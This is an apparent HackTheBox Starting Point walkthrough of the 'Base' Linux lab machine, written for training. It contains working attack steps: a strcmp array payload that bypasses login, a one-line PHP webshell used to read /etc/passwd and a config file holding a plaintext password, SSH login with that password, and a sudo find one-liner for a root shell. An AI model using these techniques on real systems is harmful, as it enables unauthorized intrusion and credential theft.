CHALLENGE INFORMATION

Base LogoPlatform: HackTheBox
Collection: Starting Point
Tier: 2
Machine: Base
Released: 16/06/2022

MACHINE SYNOPSIS

Base is a very easy Linux machine that focuses on exploiting PHP misconfigurations and insecure coding practices. A vulnerable web application with a listable login folder reveals a swap file containing the PHP code for the web-app. A brief analysis of the code reveals a comparison vulnerability in the login function which allows authentication bypass.

With authorized access to the web-app, a reverse shell can be uploaded to grant initial access to the host machine. Then, the web application configuration files can be examined to find a plaintext password allowing SSH access to a more privileged user. Finally, privilege escalation can be achieved abusing misconfigured sudo permissions on the find binary.

Preparations

There are several methods to connect to the target machine. The method we will use throughout this walkthrough is the provided pwnbox.

Once we have established our connection, we spawn the target machine.

Additionally – even though not required – we can set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$
Listing 1 - Creating a local variable rhost to store the target's IP address

We can use the unset command to remove the variable when it is no longer needed.

user@kali:~$ unset rhost
Listing 2 - Removing the rhost variable if necessary

Task-1

Question: Which two TCP ports are open on the remote host?

22,80

We begin our reconnaissance phase with a quick connectivity check,

user@kali:~$ ping $rhost -c 4
...
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
...
user@kali:~$
Listing 3 - Connection check

followed by a standard TCP scan with script and version detection.

user@kali:~$  nmap -sC -sV $rhost 
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
...
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome to Base
...
user@kali:~$
Listing 4 - Service scanning and version detection

According to the scan results, two TCP ports are open:

  • port 22: SSH, version 1:7.6p1-4ubuntu0.7
  • port 80: Apache web server, version Apache/2.4.29
  • potential OS: Ubuntu 18.04.6 LTS (Bionic Beaver)

Task-2

Question: What is the relative path on the webserver for the login page?

/login/login.php

We continue our active reconnaissance by fingerprinting the hosted webpage.

user@kali:~$ whatweb http://$rhost/
http://10.129.95.184/ [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], Frame, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.95.184], Lightbox, Script, Title[Welcome to Base]
user@kali:~$
Listing 5 - WhatWeb fingerprinting

Nothing particularly noteworthy emerges from this scan, so we proceed to examine the website in a browser.

Figure 1: Base landing page

Figure 1: Base landing page

Wappalyzer identifies the following technologies for our target website:

  • Front scripts: Bootstrap Icons + Google Front API
  • Web servers: Apache HTTP Server 2.4.29
  • Operating systems: Ubuntu
  • Maps: Google Maps
  • JavaScript libraries: Lightbox + AOS + Isotope + Swiper
  • UI frameworks: Bootstrap

We note these for now, though some of this information may prove crucial later.

Continuing our reconnaissance, we proceed with directory enumeration.

user@kali:~$ gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt -q
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/assets               (Status: 301) [Size: 315] [--> http://10.129.95.184/assets/]
/forms                (Status: 301) [Size: 314] [--> http://10.129.95.184/forms/] 
/index.html           (Status: 200) [Size: 39344]                                 
/login                (Status: 301) [Size: 314] [--> http://10.129.95.184/login/] 
/server-status        (Status: 403) [Size: 278]                                   
user@kali:~$
Listing 6 - Gobuster directory enumeration

We discover a login directory at /login; let us examine it.

Figure 2: The /login directory

Figure 2: The /login directory

Interestingly, we find a swap file called login.php.swp in the /login directory, which we are permitted to access.

user@kali:~$ wget http://$rhost/login/login.php.swp
...
'login.php.swp' saved [16384/16384]
...
user@kali:~$
Listing 7 - Downloading the login.php.swp file

The output is largely unreadable,

user@kali:~$ cat login.php.swp 
3210#"! Utp[��������^\�ad�[����X���oeXin/login.php
�                                     	�
 �
  z
   y
    a
     �
...
user@kali:~$
Listing 8 - The unreadable login.php.swp file

so we employ the strings command – like strings login.php.swp – to extract all printable characters from the file.

b0VIM 8.0
root
base
/var/www/html/login/login.php
...
    } else {
        }
            print("<script>alert('Wrong Username or Password')</script>");
        } else {
            header("Location: /upload.php");
            $_SESSION['user_id'] = 1;
        if (strcmp($password, $_POST['password']) == 0) {
    if (strcmp($username, $_POST['username']) == 0) {
    require('config.php');
...
  <script src="../assets/js/main.js"></script>
Listing 9 - Strings output for the login.php.swp file

This appears to be a swap file created during editing of the login.php source file.

Task-3

Question: How many files are present in the /login directory?

3

See Task-2.

Task-4

Question: What is the file extension of a swap file?

.swp

We downloaded the login.php.swp file during Task-2.

Task-5

Question: Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

strcmp()

We now examine the provided login page.

Figure 3: Base login page

Figure 3: Base login page

Unfortunately, none of the default credentials we attempted proved successful, so we return to the login.php.swp file we discovered in Task-2. It contains a particularly interesting snippet:

…
if (strcmp($password, $_POST[‘password’]) == 0) {
if (strcmp($username, $_POST[‘username’]) == 0) {
…
Listing 10 - Leaked authentication logic from the login.php.swp file

While researching the PHP strcmp() function, we encounter something promising:

…
If == is used in PHP, then there are unexpected cases where the comparison doesn’t behave as expected. This is because “==” only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===.
…
strcmp()
If this function is used for any authentication check (like checking the password) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password (https://example.com/login.php/?username=admin&password[]=) and bypass this check:
…
Listing 11 - Research results mentioning potential vulnerability

This appears to be a viable vulnerability, so we attempt to exploit it. To do so, we must first complete several preparatory steps:

  • Start the FoxyProxy Firefox extension to intercept and forward HTTP traffic to Burp.
  • Launch Burp and toggle Intercept on.
  • Send a sample login request from Firefox.
  • Forward the intercepted request from Burp Proxy to Burp Repeater.

If we have configured everything correctly, our intercepted request should appear in Burp as follows:

Figure 4: Intercepted request in Burp

Figure 4: Intercepted request in Burp

Once we modify our login credentials (submitting empty array values for both the username and password),

…
username[]=&password[]=
…
Listing 12 - Sample payload to exploit the aforementioned vulnerability

we gain access

Figure 5: Sending empty arrays in request

Figure 5: Sending empty arrays in request

and find ourselves on the Admin File Uploads page.

Figure 6: Access to the admin file uploads page

Figure 6: Access to the admin file uploads page

Task-6

Question: In which directory are the uploaded files stored?

/_uploaded

Leveraging the Admin File Uploads page we discovered in Task-5 – and given that the webserver uses PHP on the back-end – we attempt to upload a simple PHP webshell as a proof of concept.

We use the following one-liner we found online:

<?php system($_GET[‘cmd’]); ?>
Listing 13 - One-liner PHP webshell

After saving it as webshell.php on our attack box:

user@kali:~$ vim webshell.php
user@kali:~$ cat webshell.php 
<?php system($_GET[‘cmd’]); ?>
user@kali:~$
Listing 14 - Preparing PHP webshell

we upload it via the Admin File Uploads page.

Our upload appears successful; now we must locate the exact path where it is stored on the webserver.

Unfortunately, our directory enumeration results from Task-2 prove insufficient, so we repeat the scan using a larger wordlist.

user@kali:~$ gobuster dir -u http://$rhost/ -x php -w /usr/share/wordlists/dirb/big.txt -q
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/_uploaded            (Status: 301) [Size: 318] [--> http://10.129.95.184/_uploaded/]
/assets               (Status: 301) [Size: 315] [--> http://10.129.95.184/assets/]   
/forms                (Status: 301) [Size: 314] [--> http://10.129.95.184/forms/]    
/login                (Status: 301) [Size: 314] [--> http://10.129.95.184/login/]    
/logout.php           (Status: 302) [Size: 0] [--> /login.php]                       
/server-status        (Status: 403) [Size: 278]                                      
/upload.php           (Status: 302) [Size: 0] [--> /login/login.php]                 
user@kali:~$
Listing 15 - Searching for our uploaded webshell with Gobuster

Bullseye – /_uploaded is exactly the directory we have been seeking. Let us attempt to access our webshell.

Accessing http://$rhost/_uploaded/webshell.php?cmd=whoami does not work, so we try a different one-liner:

<?php system($_REQUEST["cmd"]); ?>
Listing 16 - Another potential one-liner PHP webshell

We prepare it,

user@kali:~$ vim webshell2.php
user@kali:~$ cat webshell2.php 
<?php echo system($_REQUEST['cmd']);?>
user@kali:~$
Listing 17 - Preparing the new webshell

upload it, and then access it.

user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd=whoami
www-data
www-data
user@kali:~$
Listing 18 - Successful command execution via the uploaded webshell

This time it works, and we have established command execution on our target system.

Task-7

Question: Which user exists on the remote host with a home directory?

john

One method is to check which users have home directories.

user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd="ls%20/home/"
john
john
user@kali:~$
Listing 19 - User enumeration

Another, less error-prone method is to examine the /etc/passwd file.

user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd="cat%20/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
john:x:1000:1000:John:/home/john:/bin/bash
user@kali:~$
Listing 20 - User enumeration by accessing the passwd file

Task-8

Question: What is the password for the user present on the system?

thisisagoodpassword

One of the most common locations for finding cleartext credentials is the webserver’s installation directory: /var/www/html/. Exploring the file system proves fruitful.

user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd="ls%20/var/www/html/"
_uploaded
assets
forms
index.html
login
logout.php
upload.php
...
user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd="ls%20/var/www/html/login/"
config.php
login.php
login.php.swp
...
user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd="cat%20/var/www/html/login/config.php"
<?php
$username = "admin";
$password = "thisisagoodpassword";$password = "thisisagoodpassword";
user@kali:~$
Listing 21 - Looking for cleartext credentials

Since we have obtained a potential username-password pair, we attempt to authenticate against the SSH service. Using the credentials:

  • Username: admin
  • Password: thisisagoodpassword

does not work,

user@kali:~$ ssh admin@$rhost
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 
...
user@kali:~$
Listing 22 - Failed SSH authentication attempt

so we try the username we found in Task-7:

  • Username: john
  • Password: thisisagoodpassword.

This attempt proves successful.

user@kali:~$ ssh john@$rhost
[email protected]'s password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-151-generic x86_64)
...
john@base:~$
Listing 23 - Successful SSH authentication attempt

While we are here, we might as well retrieve the user flag.

john@base:~$ ll
...
-rw-r----- 1 root john   33 ... user.txt
john@base:~$ cat user.txt 
<redacted-flag>
john@base:~$
Listing 24 - Acquiring the user flag

Task-9

Question: What is the full path to the command that the user john can run as user root on the remote host?

/usr/bin/find

We can list the allowed commands for the invoking user on the current host using the sudo -l command.

john@base:~$ sudo -l
Matching Defaults entries for john on base:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on base:
    (root : root) /usr/bin/find
john@base:~$
Listing 25 - Enumerating the user privileges

Task-10

Question: What action can the find command use to execute commands?

exec

Identifying a command that we can run with elevated privileges (as we did in Task-9) represents only the first hurdle. Simply possessing such a command without a means to leverage it for root shell access renders it meaningless.

While researching exploitation possibilities for the find command, we encounter the following one-liner: sudo find . -exec /bin/sh \; -quit.

Executing this command grants us the desired root access. All that remains is to retrieve the root flag.

john@base:~$ sudo find . -exec /bin/sh \; -quit
# whoami
root
# pwd
/home/john
# cd /root/
# ls
root.txt
# cat root.txt
<redacted-flag>
#
Listing 26 - Acquiring the root flag

Submit The User Flag

Question: Submit user flag

<redacted-flag>

We obtained it at the end of Task-8, so it is already in our possession.

Submit The Root Flag

Question: Submit root flag

<redacted-flag>

Similar to the user flag, the root flag was already acquired during Task-10.

Congratulations, we have completed the challenge. All that remains is to terminate the target box – if not terminated automatically – before proceeding to the next challenge!